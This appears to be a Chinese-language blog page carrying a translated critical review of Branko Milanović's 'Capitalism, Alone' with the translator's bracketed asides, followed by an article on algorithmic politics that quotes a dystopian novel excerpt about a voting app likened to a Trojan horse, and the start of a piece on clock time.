米拉诺维奇以一个从马克思和韦伯那里借来的资本主义定义开启了这本新书的论述，他的大多数读者可能都很熟悉这个定义。在这种说法中，资本主义是一个系统，其中生产是“利用合法的自由工资劳工和大部分私人拥有的资本，通过分散的协调来组织利润”。

他争辩说，这个系统长期存在，他引用了罗马帝国和第六世纪的美索不达米亚，以及更为人所熟悉的意大利城邦和荷兰商人的例子 —— 这个论点与许多研究资本主义的学者的论点相反，他们对资本主义的确切起点也有分歧，但很少把它放在历史上这么远的地方。但今天，资本主义不是与其他生产形式竞争或侵占，而是在没有任何真正竞争对手的情况下运作。

因此，对米拉诺维奇来说，研究当代资本主义意味着认识到一个统一系统中的内部差异。他指出了两种主要类型：西方的精英政治“自由主义资本主义”和中国及其他一些国家的国家主导的“政治资本主义”。

就像他的资本主义简史一样，这个示意图在一般情况下并不引人注目，且在细节上也是特立独行的。值得注意的是，他使用的“自由主义”概念并不是指通常在个人自由、法治和民主治理方面所设想的所谓自由主义；相反，这里的“自由主义功利主义”资本主义体系是受到约翰·罗尔斯《正义论》中两个可能的分配体系的宽泛启发。

米兰诺维奇认为，自由主义资本主义存在于这样一个事实，即：商品至少在理论上是择优分配的，而且社会流动是“自由的”—— 也就是说，在继承税和免费教育等政策的帮助下，个人的机会不会受到任意的出生条件的限制。相比之下，他对政治资本主义的分析强调了政治和经济领域之间的关系：在政治资本主义中，政治权力被用来实现经济收益，而不是反过来。

米拉诺维奇认为，今天的自由主义资本主义必须与两个早期的资本主义类型区分开：19世纪和20世纪初的“古典”资本主义和20世纪中期的“社会民主”资本主义。他不是从对其基本分配原则或其产业组织方式的评估中得出这些类别，而是从一系列的经验特征中得出的。

在古典资本主义中，资本高度集中，获得的收入份额不断上升；那些拥有资本的人很富有，他们相互联姻，并将他们的利益传给他们的孩子。在社会民主资本主义中，这种不公平的分配至少得到了部分遏

制，越来越多的收入份额流向劳动者，并且随着社会流动性的增加，富人不太可能联姻。

尽管在米拉诺维奇的论述中，自由主义精英政治的资本主义保留了社会民主契约的一些要素—— 接受公共教育的机会，无论如何减弱，以及限制财富代际转移的继承税 —— 但是，在许多方面，它又回到了古典资本主义的条件和作为其特征的严重不平等。

米兰诺维奇调查了对这一变化的一系列解释，其中大部分都是人们熟悉的。他注意到，资本成本的下降，特别是计算能力的提升，使得用技术取代劳动力变得有效，而工会的衰落，以及随之而来的劳动力的议价能力的下降，导致劳动力的收入比例下降。

他还观察到了社会和文化习俗的转变。在古典资本主义时期，富人往往无所事事，只靠资本收入生活，但在自由主义的功利资本主义时期，资本所有者往往有高薪的工作。

同样，通过同温层联姻，具有类似财富和教育地位的人相互结婚，并将这些优势赋予他们的孩子，不仅传递他们的财富，而且投资于他们的人力资本。因此，自由主义功利资本主义的新社会和经济模式加强了已经富裕的人的财富，并阻碍了代际阶级流动。如果这还不够，要记得。富人还对政治进程施加操控，推进进一步巩固其地位的政策。

米兰诺维奇写道，使自由主义功利资本主义的不平等特别滑稽的是，它的一些特征在许多人看来是“道德上可以接受的”。自由主义功利主义的受益者通过“经济权力和意识形态的支配”进行统治。他们不需要暴力镇压下层阶级；他们的地位通过社会规范合法化，包括只有他们有能力支付那些昂贵的精英教育，以确认他们的智力优势。

【嗯，这就是为什么我们坚持知识免费。如果知识付费，就永远只有买得起的人才能获得知识。知识付费只是精英政治的助推剂，】

这种现象是皮凯蒂最近发表的《资本与意识形态》一书的核心，该书既探讨了不平等的意识形态理由，又谴责了不平等的意识形态理由。但米拉诺维奇对规范所做的工作更加矛盾。

他认为，人们应该能够通过工作致富，拥有努力工作的富人比拥有休闲阶层更好。人们倾向于与教育和收入水平相似的人结婚，这反映了“更多的女性参与劳动，重视有偿工作的社会规范，以及对与自己相似的伴侣的偏爱”。

他承认这些规范有有害的副作用—— 例如，从资本中获得收入的人也为钱而工作这一事实使得提高税率变得更加困难，因为今天的富人不被视为寄生虫，而是被视为“挣钱的人”。但是，他并没有对这些信念进行质询，而只是顺便指出它们是变革的众多障碍之一。

米拉诺维奇指出了很多其他的问题。在他看来，过去的社会民主工具箱—— 工会、大众教育、高税收、社会转移—— 不足以解决目前的收入不平等状况。服务业工人很难组织起来，也不可能达到制造业全盛时期的工会的力量。

大众教育已经遇到了天花板，可能会给新一代的年轻人带来越来越少的回报。高税收和社会流动也变得“政治上很难”在全球化经济中实现，而不会有资本外逃的风险—— 在任何情况下，正如米拉诺维奇所指出的，富裕国家的大量中产阶级现在对这种转移持怀疑态度，不相信自己会从中受益。

也许最重要的是，新一轮的“经济移民”给福利国家带来了挑战，它有可能使它们陷入恶性循环的削减。（本文很快就会回到这个问题上）。

【注；经济移民是指由于移民所在地区的条件或工作机会不足，而从一个地区移民到另一个地区的人，包括跨越国际边界，寻求改善生活水平的人。联合国使用移徙工人一词。】

如果您错过了《护照和长期签证的丑闻市场正在蓬勃发展》

那么，对于米拉诺维奇来说，自由主义的功利资本主义描述了这样一个体系：尽管机会平等表面上是一种规范，但是，一小部分精英已经成功地巩固了自己的地位。在定义政治资本主义时，他换了个角度，设定的标准不是侧重于对统治精英的经验分析，而是侧重于系统的治理形式。

在这里，米拉诺维奇转向韦伯对政治资本主义的基本定义：一个系统中的行为者利用“政治权力来实现经济收益”。它的主要特征是高效的官僚机构，缺乏法治。在缺乏民主机制的情况下，国家的合法性源于实现增长的能力；如果增长乏力，制度的其他方面就会受到质疑。

增长是由技术官僚和精英主义官僚机构管理的，但为了追求充分增长的目标，法律被任意应用、忽视或篡改。

腐败是政治资本主义的特征，至少在一定程度上是如此。如果太过

火，它就会破坏首先使这个系统合法化的经济增长，或者增加不平等，以至于使管理它的官僚机构失去合法性。

真正的目的不是要掠夺这个系统，而是要保持对它的控制。

重要内容，如果您错过了《没有”革命的政府”这种东西：为什么你不能用国家废除阶级》

自由主义民主国家在很大程度上被资本家俘获，而政治资本主义国家则是自主的，它们根据国家利益交替性地鼓励和控制私营部门。这在中国非常明显，见《为什么中国尚且不是“常规”的资本主义？》。

米拉诺维奇关于政治资本主义的论点，借鉴了他过去对社会主义经济的研究，也有部分是谱系性的。虽然他对自由主义功利资本主义发展的描述遵循了一条熟悉的轨迹，但是，他认为政治资本主义是共产主义的产物。他认为，共产主义在他所描述的自由主义者和马克思主义者所提出的目的论叙述中很难理解。马克思主义者传统上认为，资本主义是通往共产主义的必要阶段。资本主义将发展生产力，然后共产主义者将抓住并利用这些生产力为所有人谋福利。而与此同时，自由主义者则期望“向更富裕和更自由的社会线性发展”。

然而，在米拉诺维奇看来，无论是左派还是自由派的说法，都没有为共产主义的兴衰提供一个令人满意的解释。兴起对自由主义者来说是个问题，衰落对马克思主义者来说是个问题。此外，这两种说法都不适合解释“特别是第三世界”的发展道路，而是假设这些国家将仅仅遵循西方发达国家的轨迹。（这一假设确实值得怀疑）

米拉诺维奇的方法是颠覆传统的马克思主义观点。他认为，共产主义是通往资本主义的一个驿站，而不是相反的方向。他写道，共产主义是“一种社会制度，它使落后的和被殖民的社会能够废除封建主义，重新获得经济和政治独立，并建立本土资本主义”。他指出，亚洲、非洲和拉丁美洲的共产主义运动做了西方资产阶级革命所动员的工作，而且还面临着不仅要推翻封建政权势而且要推翻殖民政权的挑战。一旦掌权，共产党就建立了基础设施，教育了人民，并发展了广泛的官僚机构 —— 所有这些最终都在冷战结束后为资本主义铺平了道路。

有人可能会注意到，用它所让位于的东西来描述一个系统是很奇怪的，毕竟这在事后更容易看到。但米拉诺维奇的观点是，共产主义社会是在强大国家的控制下实现现代化的，其中许多国家即使在过渡到资本主义之后，仍然保留着独裁的印记。

从这些宽泛的笔触中，米拉诺维奇勾勒出一套经验特征，用来识别政治资本主义制度。它们的特点是一党执政，政治结构是在反殖民主义的独立斗争后出现的，通常是暴力斗争。

在其中一些国家，一个左翼政党管理着向资本主义的过渡。并不完全清楚这些标准与共产主义演变为政治资本主义有什么关系，米拉诺维奇也没有解释，鉴于这个政治资本主义的定义明显是为了排除前苏联而构建的，于是这就特别引人注目了。

事实上，米拉诺维奇宣称只有**11**个国家符合他的描述：中国、越南、马来西亚、老挝、新加坡、阿尔及利亚、坦桑尼亚、安哥拉、博茨瓦纳、埃塞俄比亚和卢旺达。

尽管这些国家有一些共同的历史轨迹，但它们之间的巨大差异（例如，并非所有的国家都是共产主义国家）让人对米拉诺维奇所构建的政治资本主义这一类别是否有用提出质疑。

更广泛地说，世界上大多数国家都不适合他描述的任何一个类别，这一事实表明这种解析资本主义的方案有进一步的局限性。我们应该如何理解俄罗斯和巴西、印度和沙特阿拉伯？

无论如何，在米拉诺维奇确定的政治资本主义国家中，只有中国受到持续关注。他观察到，与西方不同的是，在中国，所有阶层的工资在过去几十年里都有了大幅增长，但与西方一样，富人的工资已经远远超过了其他所有人。然而，到目前为止，中国的富人还没有成为一个“自己的阶级”在政治上采取行动，以提高他们的经济实力；国家随时准备遏制他们，维持其控制。

这种情况会改变吗？中国的资本家是否会像欧洲和美国那样寻求接管国家，实施更像自由主义资本主义的东西？在这种情况下，他们将不再受制于国家权力的专断？中国是否会像美国那样，寻求向世界其他国家输出其资本主义模式？米兰诺维奇认为这不太可能，但可以肯定的是，中国将在资本主义的未来和塑造资本主义的国际机构中发挥越来越重要的作用。

事实上，尽管米拉诺维奇声称要分析当今资本主义的两个主要分支，但《唯有资本主义》最好被理解为一本关于两个国家的书：美国和中国。它的出版是在一个过渡性时刻的早期阶段。随着美国和中国之间的“新冷战”的讨论加剧，他关于两国都是同一个资本主义体系的一部分的论点具有重要的意义。毕竟，两个资本主义大国之间的冷战会是什么样子？经济上的相互依存会抑制政治上的对抗，还是反之亦

然？

而令人失望的是，米拉诺维奇对自由主义资本主义和政治资本主义在现在的全球体系中如何互动，几乎没有提及。相反，他把对资本主义当前动态的讨论集中在他认为是全球化的关键特征 —— 即 资本和劳动力的更大流动性 —— 以及由此带来的政治挑战上。在这里，米拉诺维奇将规范性的政治理论、经验性的经济分析和表面上务实的政策建议独特地融合在一起，其结果变得最为具体，其局限性也最为明显。

米拉诺维奇在很大程度上以经济学家的身份对待移民的政治动态。他把穷国和富国之间在收入和福利国家提供方面的差异描述为 “公民权溢价”（在《全球不平等》中引入的术语）。他认为，民族主义不仅仅是一种情感现象，而是一种抓住租金来源的尝试。公民权是 “由一群人行使的联合垄断”。尽管公民身份是一种有价值的资产，但在大多数情况下，它不是一种可销售的资产。至少现在，它主要是通过对边界和文件的控制进行政治分配。

在这个经济分析的基础上，米拉诺维奇提出了一个政治论点。只要国民收入存在差异，劳工就会为追求更高的工资而行动。但他补充说，这种运动将总是有争议的。随着西方国家生活水平、工资和福利的下降，发达国家的工人阶级将寻求保护自己因成为较富裕国家的公民而获得的剩余溢价，而且他们往往不仅通过保护主义政策，而且通过试图阻止他人进入来做到这一点。（这是在描述右翼的反抗）

关闭的边界是米拉诺维奇认为的最糟糕的情况。表面上这对移民不利，但他认为对其他大多数人也是不利的。他更希望劳动力和资本能够自由流动，而且他真正反对国际体系的不公正，在这种体系中，出生的意外决定了大多数人的命运。但是，米拉诺维奇也把自己当作一个实用主义者。既然他接受了移民的反弹是不可避免的，他也认为我们必须接受一些限制劳动力流动的要求。否则，可能会出现对全球化的更大反弹。

不幸的是，米拉诺维奇似乎并没有认真考虑相反的方法—— 限制资本，同时让劳动力自由流动。并且，他的分析也有很多所谓的现实主义的弱点：它倡导的政策是基于对工人阶级在劳动力流动和移民方面的偏好的一系列假设，同时也假设这些偏好是预先固定的，而不是通过政治本身形成的。

从这些假设中产生的是一个苛刻的建议。他认为，在数字技术使世界一个地方的人可以在另一个地方工作而不需要实际迁移的时代，各国

应该建立一个 “分层” 的公民身份和权利系统。为了保持现有公民的地位，移民不应获得全部的 “公民权溢价”；相反，他们应该拥有一套 “缩减的” 经济权利。他继续说，这种分层的合法移民制度必须与严格的边境政策相配合，以完全终止非法移民 —— 米拉诺维奇直截了当地描述为 “无情地打击过度移民”。

如果这听起来很熟悉，那是因为大多数国家已经按照米拉诺维奇规定的路线使用了多层次的移民系统。

如果您错过了《当您准备寻求庇护 …… 移民和难民需要注意的*10*大威胁》

例如，美国对不同的工人群体给予不同的权利和特权。持有H1-B签证从事 “熟练” 但临时工作的人有资格在美国停留三至六年，而持有H2-A签证从事短期、通常是季节性农业劳动的人可能被批准停留一个月，这只是美国承认的20类临时工人中的两类。

同时，绿卡持有者可以在这里永久居住，但如果他们被判定犯有某些罪行，就会被驱逐出境。虽然他们在技术上有资格享受一些公共福利，但特朗普政府出台的一项规定旨在防止那些最终可能利用政府援助的人从一开始就获得绿卡。只有归化的公民才能获得那些出生的公民的所有福利。

【是的，这就是为什么对抗资本主义的斗争无法期待在美华人移民的联合力量；也是为什么移民往往不会参与当地的抗议活动。制度决定了只有服从者能留下来。然而，米兰诺维奇却认为这是 “正确的”。】

这种制度将移民视为他们所依赖的公司或多或少的一次性劳动力的来源，使他们容易受到雇主的虐待，而且它实际上将更多的特权分配给了更富裕的人。

但是，如果这种权利等级制度在道德上是站不住脚的，那么它也没有达到米拉诺维奇声称的目的：现有的分级制度并没有减少反移民政治。

米拉诺维奇的建议实际上是保留现有的制度，同时加强边界，也就是接受移民政策的右倾，这可以说是更有可能助长反移民的火焰，而不是浇灭它们。这就是他的荒诞之处。

无论如何，移民限制并没有保护米拉诺维奇所说的公民权溢价，而这正是反移民政治的核心，再多的限制也不可能做到。移民不是资本外

逃的原因，关闭边界也不能恢复工会的制造业工作，这一点米拉诺维奇肯定知道。那么，他表面上的实用主义只是加强了一种意识形态，将移民作为资本家行为的替罪羊。任何平等主义政治都必须寻求挑战这种论调，而不是向其错误的前提妥协。

米拉诺维奇在移民问题上提出的与不满意的、功能失调的现状妥协的语气，充斥着这本书。2000年代的全球化文献充满了希望，而米拉诺维奇的书则坦率地承认了实际存在的资本主义的局限性，并认命于将事情做到最好。

米拉诺维奇预见到了那些认为他对资本主义的描述不令人振奋的人的批评。“这种状况难道不是对社会经济体系变革的一种诉求吗？”或者说得更尖锐一些，这真的是我们能做的最好的事吗？这部关于不平等和不公正的快速增长、自我辩护的精英和自我交易的官僚、本土主义和腐败的编年史，难道不是在呼唤更好的东西吗？然而，他对这些问题的回答是一个老答案：没有其他选择，或者更准确地说，资本主义是最糟糕的制度，除了所有其他制度之外。

“资本主义有光明的一面，也有黑暗的一面”，米拉诺维奇宣布。光明的一面是 doux commerce 的一面，也就是孟德斯鸠所描述的商业灌输更善良、更温和的行为的倾向。黑暗的一面是它对竞争和贪婪获取的鼓励。一个销售代理可能是友好的，但不要被愚弄 —— 没有任何人是来交朋友的。对金钱的追求从根本上说充其量是不道德的。正如马克思在谈到荷兰殖民者在爪哇岛从事的奴隶贸易时所说的：“Das ist der doux commerce！”

但是，虽然人们可能希望经济生活更加愉快，但米拉诺维奇认为人们应该面对现实。资本主义已经将我们的私人恶习转化为公共利益，将人类的贪婪引导到增加我们整体福祉的竞争形式中。我们真正能做的是软化它的边缘。他认为，“资本主义已经成功地将人类转变为具有无限需求的计算机器”。我们可能对这些计算倾向钻进我们的私人生活并侵蚀我们的道德承诺感到不安，就像许多左翼对商品化的批评那样，但我们已经选择了参与，现在已经无法回头了。

为了说明他的观点，米拉诺维奇考虑了凯特·拉沃斯等异端经济学家和鲁特格尔·布雷格曼等基本收入倡导者提出的增加休闲的呼吁。而他坚持认为，尽管这些建议的出发点是好的，但也不过是幻想而已。采用更多休闲生活的个人将发现自己落后于他们勤奋工作的同龄人，而试图设定更短工作周的国家将发现自己在经济上被超越，以至于较富裕国家的公民将从他们手下购买土地。

（这点和所有变态竞争的支持者一样，他们都忽略了垄断和阶层固化）

尽管米拉诺维奇没有直接讨论自由主义精英资本主义世界中的社会主义复兴问题，但他的回答大概是一样的，即：社会主义只有在全球范围内实践才能成功。在这里，和其他地方一样，许多左翼人士会同意这一诊断。尽管变革必须从某个地方开始，但资本主义最终必须在全球范围内受到挑战。

然而米拉诺维奇认为，要说服足够多的人退出资本主义和它提供的商业乐趣，简直是一项“不可能完成的任务”。简而言之，无论是在个人、社区还是国家层面上，选择退出全球资本主义的激励结构的努力都是徒劳的。不管你喜不喜欢 —— 你极有可能不喜欢—— 资本主义总是要留下来的。

其中许多想法就其本身而言是好的，有些已经被左倾的政治家所拥护。其他的，如鼓励中产阶级的资产所有权，长期以来都是政策。但是，它们几乎不足以解决我们当代的经济和社会危机，而且无论如何，它们对解决米拉诺维奇所指出的政治问题也没有什么作用。

例如，为什么财富税不会因为资本外逃或竞争而注定失败，就像那些旨在增加休闲的支持者一样？如果富人在政治上的主导地位达到了他所建议的程度，那么这种政策首先会如何实施？如果劳动和资本之间的阶级冲突真的是财富分配方式的核心，正如米拉诺维奇从一开始就宣称的那样，那么如何通过这种温和的调整来改善它呢？

奇怪的是，对于一本以资本主义的未来为中心的书来说，资本主义最大的和最迫切的灾难。—— 气候危机 —— 只是在其中短暂出现。米拉诺维奇在一页纸中谈到了资本主义已经蔓延的地球命运，在那里他驳斥了“原材料和能源危机的谬论”—— 对我们将耗尽原材料的恐惧。他称，“不用担心，当任何特定的资源变得稀缺时，它的价格就会上升，推动技术创新，要么更有效地使用它，要么用更便宜、更丰富的东西来代替它。”

如果您错过了《外表是骗人的》

自20世纪30年代以来，这种对自然资源的经济学分析一直是对资源使用问题的标准回应。然而，它完全误解了我们今天面临的生态问题：不是我们将耗尽原材料，而是我们将破坏保持地球宜居的生态功能。石油的问题不是像“石油峰值”理论所说的那样没有足够的石油了，而是，我们有太多的石油。如果我们使用所有已知的储备，我们将破

坏我们所知的生命条件。同时，越来越稀缺的生态资源是那些没有价格的、而且似乎没有技术替代物的资源。

忽视气候危机不仅是不负责任的，而且表明了米拉诺维奇观点的更大局限性。认为人们可以改革资本主义而不考虑重塑地球本身的变化是愚蠢的。气候危机不会使资本主义走向终结—— 至少在不久的将来是这样—— 但它将极大地改变资本主义的运作条件，并对自由主义和政治资本主义提出严重的新挑战。

而气候危机只是一个例子，说明资本主义实际上并不“单独”存在于一个按照其自身规则运作的星球上。我们现在正经历着另一个这样的例子：Covid-19大流行。因此，如果政治资本主义的合法性取决于经济增长和政治稳定 —— 在我看来，自由资本主义的合法性也是如此 —— 那么资本主义本身就面临着一条坎坷的道路，仅靠继承税是无法抹平的。

Covid-19的动荡和它引发的经济混乱非同寻常，但也有预兆：它们提供了对未来趋势的一瞥。进一步增加中产阶级的股票投资组合，对阻止生态系统崩溃、极端天气和新出现的疾病没有什么作用。所有种类的资本主义都将难以应对这些所谓的“外部”威胁；合法性将不仅依赖于纯粹的增长，而且依赖于保护人口免受威胁生命的灾难和疾病的能力，特别是为了最终能够以某种形式继续增长。

21世纪的两次大危机 —— 2008年的金融风暴和Covid19—— 都揭示了国家在当今全球资本主义中的核心地位。尽管经济活动出现了前所未有的暴跌，但中央银行支撑了资产价格，防止了经济活动陷入萧条，而经济活动本身就是由公共法令造成的。

同时，政府采取了前所未有的财政刺激措施，以促进需求。事实上，与20世纪80年代和90年代的小政府颂歌不同，现在资本主义的前景在国家管理经济方面发挥着更积极的作用，无论是将天平向太阳能倾斜还是管理突发的公共卫生危机。

这片新的土地要求我们更加关注资本主义的政治层面和不同类型国家不断演变的角色—— 无论是美联储塑造金融市场的巨大权力，还是中国对世界物质基础设施的重塑，抑或是欧盟的庞大监管机构。

米拉诺维奇对当今资本主义的描述，最有用的部分是对资本主义的比较分析，脱离了过去30年的自由派目的论。然而，尽管他对早期的自由主义经济学进行了批评，但他自己似乎也停留在1990年代的全球化范式中；一个联系更加顺畅的世界仍然是他的支柱。他最近担心，大

流行病导致各国不仅对移民，而且对旅行和贸易施加限制，将破坏实现这一目标的进展。这场大流行肯定使全球价值链显得更加脆弱，无疑将导致各种形式的重组。而资本主义核心大国 —— 美国和中国 —— 之间的紧张关系也急剧加剧。但全球化不可能完全被逆转。

米兰诺维奇说“眼前没有出现挑战者”，或者说即使在当前的危机面前，也很难想象会出现一个严重的挑战者，这并没有错。但是，这甚至对资本主义的捍卫者来说也应该是值得担忧的。资本主义最严重的挑战可能是那些其自身成功的产物。

总之，这本书展示了在没有关于资本主义系统如何实际运作 —— 特别是如何失败 —— 的理论的情况下研究资本主义的经验效应的局限性。〇

Diminishing Returns

原文

政治的未来：当机器决定“民主”？ - iyouport

免费书和纪录片技术暴政

【2018年8月26日存档】全球政府不断增长的自动化已经不再是科幻。相反，这是我们刚刚开始掌握的现实。那么问题是，我们可以用机器人取代政治家吗？答案是肯定的

技术界信仰的口号是：代码即法律，算法即政治。它的确就是互联网世界的秩序，这就是为什么互联网民主化需要人们信仰开源—— 即等同于现实世界的政治透明和司法独立—— 人民需要享有充分的知情权和监督权。

“人工智能“是个伪概念，其实它就是一大堆算法和程序的集合体，它的效用就是代码和算法的效用。但没办法，这个流行语已经被炒作得风生水起，为了解释一些道理我们只能沿用它。

那么问题来了，在政治普遍的严重不透明、司法暗箱操作、隐性腐败猖獗的全球普遍性阴郁之下，我们能否使用代码和算法，即所谓的人工智能，以取代政客，来行使民主政治？

实际上已经有人开始考虑这样的问题了。去年四月，一名机器人被提名为东京市长，承诺代表公正和平衡……软件公司 OpenText 对英国消费者进行的民意调查发现，四分之一的英国人认为机器人比政治家做得更好。

这听起来很滑稽吗？其实一点都不。我们当前的政治正在被机器取代，印度总理纳伦德拉·莫迪（Narendra Modi）和法国总统候选人让—吕克·梅朗雄（Jean-LucMélenchon）都将自己的全息图发送给成千上万的选民群体，以便通过数据帮助选民深入了解他们的选项；在 2016 年的美国大选中，候选人使用社交媒体广告来针对不同的选民，提供不同的信息，也就是定位说服。这些定位的方法来自大数据和算法，基于长期的跟踪，政客已经掌握了投票人最容易接受劝导的模型……

全球政府不断增长的自动化已经不再是科幻。相反，这是我们刚刚开

始掌握的现实。那么问题是，我们可以用机器人取代政治家吗？答案是肯定的。

可重点并不在这里。虽然聊天机器人很有效，更容易吸引那些喜欢在线交流或行动不便的人，但会不会减少选民和他们的代表之间的联系呢？是的，我们可以开发 AI 智能武器，但我们真的应该这么做吗？没错，我们可以使用机器来完成政治家的工作，但如此般究竟会带来什么？这些不是未来学家的问题，它就是当下的问题。

朱塞佩·波卡罗（Giuseppe Porcaro）在他的小说 “Disco Sour“ 中巧妙地构想了这么一个反乌托邦但又完全可以想象得到的世界。这个故事发生就在不久的将来，在一场可怕的战争和国家崩溃之后，Roman Polanski（虚构的）私生子创造了一个名为 Plebiscitum 的应用程序，就像 Tinder 一样对待政治。

Porcaro 说他注意到了约会习惯的演变与 **21** 世纪政治之间的联系——当即时满足取代实质性参与时，一种新的“tinderpolitics”就开始了。你可以想想 Twitter 上的 trolling（就是找骂的那种人，故意激怒对方以获得谩骂的机会，你越是搭理他们，他们就越兴奋）。

民粹主义政党意大利的“五星运动”是一个典型而有趣的现象，它基本是使用在线平台成功创造一种新的政治群众运动的“先驱”。另一个典型案例是澳大利亚政党名为 Flux，他们的目标是通过使用完全基于区块链平台构建的 **Flux** 应用程序来“升级民主”，并改变澳大利亚人投票的方式，也就是一种称为基于问题的直接民主的新制度取代选举产生的立法机构。

技术可以提供快速解决方案以弥合公民与政府之间的差距这一点至关重要。但通过将计算思维应用于民主、极端的个性化和即时参与，我们已经忘记了民主不仅仅是选举的结果或个人投票的数学总和，由此，公民有可能进入恶性循环，反动政治更容易被通过。

现代代议制民主在某种程度上是对工业革命的回应。如果人工智能和自动化已经从根本上改变了我们生活的世界，我们是否还必须更新民主的运作方式呢？

民主的确已经变形好几次了。19 世纪的自由民主被普选权所动摇，并适应了福特主义的生产方式。1968 年 5 月的“五月风暴”又挑战了这种模式。而今天，数据的大量可用性和决策算法的不断增强的力量，将再次激发改变。

政策“生产”过程可能会被彻底重新设计。人们每天使用的设备（例如车辆、家用电器和可穿戴传感器等等）收集到的大量数据将提供有关个人投票选择驱动因素，或政府决策的依据。

技术承诺的未来之一就是将我们的经济体系推向结果经济。公司不仅要通过销售产品和服务，还要通过提供解决方案来创造价值。在这样的经济体系内，政策将可能成为可销售的商品。这种解决方案已经在开发中：例如，想想“智能城市”，这种项目可能会产生公共政策私有化的新浪潮，或者更糟糕的是，可以使政策制定自动化，从而减少对整体民主的需求。

但是，民选政府可以继续在算法和人工智能的新世界中发挥积极作用。他们将继续由公民投票产生，并决定共同的和公共的目标。Porcaro 的愿望是，技术可以将民主参与带到更高、更理想化的水平，从而将实施留给机器。

在第四次工业革命时代，卡车司机、律师、医生、建筑商、现在甚至是厨师，都在实现自动化，人类的政治能否实现自动化，值得认真讨论。然而，在将人类功能外包给硅芯片和光纤之前，政策制定者应该考虑人性的本质。也许，人工智能的发展潜在地提供了一个更悠闲，更自由的未来，但是，人类智能（**human intelligence**）才是人类进步的基础。

以下是 “Disco Sour“ 这本书的摘录。

‘民主不是你的度假胜地。这是一份终身合同。Polanski 的儿子站在讲台上，这是一块古老的雕刻虎纹的橡木，顶部和圆柱底部可调节。

他说，我们将禁止民主游客。

台下是欣喜若狂的人群，主要由公务员和二、三等政治家组成，他们为此鼓掌。

“我很高兴能在这里荣幸地宣布一场将改变民主概念的革命。永远！’，他那光滑的极简主义的黑色西装和白色衬衫与讲台上的新哥特式雕刻形成鲜明对比，很符合他的未来主义的语话。

有时候，民主的最大敌人不是政权，也不是统治阶级，他说，而是我们心中的恐惧。’真正的创新来自愿景。能够在这个世界看到别人所看不到的东西。视觉的构建是最重要的资产，在我们这个时代很少见。但是光有远见是不够的，创新需要实现愿景。

再次的掌声。从第一排左角的座位上，我可以看到 WEBTV 网络的摄像机移动站在半圆形的高台上，他们中的一些人正在登上领奖台，其他人则试图瞥见观众的情绪。我把目光集中在第三排，那是一位五十多岁的女人，罗兰色的纱丽缠在她的腰间，另一端披在肩膀上，露出腹部，她正紧盯着 Nathan，被催眠一般的专注。

他说，我们需要了解人们的梦想，将世界从一个普通的世界变为一个尚不存在的幻想世界。看着周围的人群，我觉得他们都沉浸在我从那个印度女人的凝视中所看到的那种神秘的自我超越般的同样经历中。数十名公务员将目光投向玻璃穹顶，就像在祈祷那样。

‘今天是历史性的一天。Plebiscitum® 将被二十三个选举制度采用，并在明年年初全面实施。在第三次也是最后一次国际选举设备会议结束后，官方协议将在隔壁的图书馆签署。他停了下来，离开了领奖台，开始随意地在小舞台上来回走动，步态轻柔，听起来庄严而稳健。这确实是一个历史性的时刻。

‘新系统将非常易于使用。他说，在成人中实践成功的第一年之后，我们计划将投票年龄降低到十一岁，这很容易。在舞台背景上，有一个 PowerPoint 投影，画面上是快乐的公民在刷新新应用程序时面带微笑的照片。

‘第一阶段：plebiscitum® 将作为教育项目实施。公民将接受培训。他一边说一边展示了相应的幻灯片。

“第二阶段：将通过应用程序向公民提交一系列政策决定。根据议会的批准，结果将构成具有约束力的意见。他通过点击小遥控器移动到下一张幻灯片，“在第三阶段，所有问题都将通过应用程序进行讨论，投票算法将把 **plebiscitum®** 连接到一个新的微型可穿戴投票设备 **MWVD®** 上，植入每个公民的体内。” 墙上出现了一张发光的微芯片照片，刻在两名年轻人的左臂上。“它会看起来很好，”他补充道。

我再次瞄向周围的人群，所有人都面带微笑。

“第四阶段”， 他再次改变幻灯片，这次他随便把按钮按出了咔哒声，’投票算法最终将能够自动且恒定地计算人口的政治偏好和行为。这将基于从每个公民所拥有的一切包含传感器的设备上收集到的一组数据。在最后阶段，原始的投票应用程序将转而成为儿童的教育和信息娱乐工具，“……

至少可以说，这个计划很宏伟。

“这些政府将通过民主 6.0 进行调整，这将把治理成本降低到今天运行老式选举所花费成本的六分之一。”

他在几天前才刚向宿醉的流浪者描述过那种 tinderpolitics 的应用程序，而现在仿佛已过了几光年。Plebiscitum® 更像是特洛伊木马恶意软件，已经开始了连锁反应以拆除选举。

恶意软件通常会导致数据丢失或被盗以及其他可能的系统危害。特洛伊木马经常采用一种社会工程学的方式，建立在蒙骗的基础上，将自己打扮成常规的、有用或有趣的东西，以说服受害者将其安装在计算机上。换句话说，它是一个破坏性的程序，伪装成了一个良性的应用程序。同样，plebiscitum® 可以充当后门，联系控制器，即投票算法，由此便可以无限制地窃取公民拥有的任何行为活动或物质产品。

虽然特洛伊木马和后门本身不容易被检测到，但由于处理器或网络使用量过大，设备似乎运行速度较慢。恶意程序如果不试图将自己注入其他文件（如计算机病毒）或以其他方式传播自身（如蠕虫），则会被归类为特洛伊木马程序。与此相反，二十三个政府已正式接受在其政治操作系统中下载和安装特洛伊木马，他们甚至是意识到其后果的。

我相信我正在目睹的是人类领导的政府概念的集体自杀行为。机器时代真正开始的时刻。

“每个人都会为之兴奋，因为中央投票算法将根据人们每天的行为和选择来计算最佳政策组合。例如人们如何花钱，“ Nathan 继续说道，”或者他们如何使用技术设备“。出现了另一张幻灯片，这次显示了复杂的数学公式。他说，“这将是民主的，因为它的设置受到了科学的调节，以便在最终的计算中给予每个公民以相同的选择。” 最后一张幻灯片上出现了一个巨大的黄色笑脸。他停顿了一下，然后走回讲台。他把手放在那小桌子可调的顶部，盯着观众。

他总结说，现在，旧的民主时代已经结束了。

掌声不绝于耳。

我在颤抖……

最后送一个视频，也是我们一直强调的：算法即政治 —— 算法如何操纵了现实政治。从 Facebook 等巨头的不透明算法在政治宣传/舆论

操纵、大众认知方面的影响说起 —— 民主正在被无形的手玩弄。本文的主题《机器决定“民主”》已经不是一个幻想，它在某种程度上正在成为现实。

原文

时间的暴政 - iyouport

免费书和纪录片

到点啦！…… 喂，你在说什么？时钟是一个有用的社会工具，但它也是深刻的政治性工具。它使一些人受益，使另一些人被边缘化，使我们无法真正了解我们自己的身体和我们周围的世界。

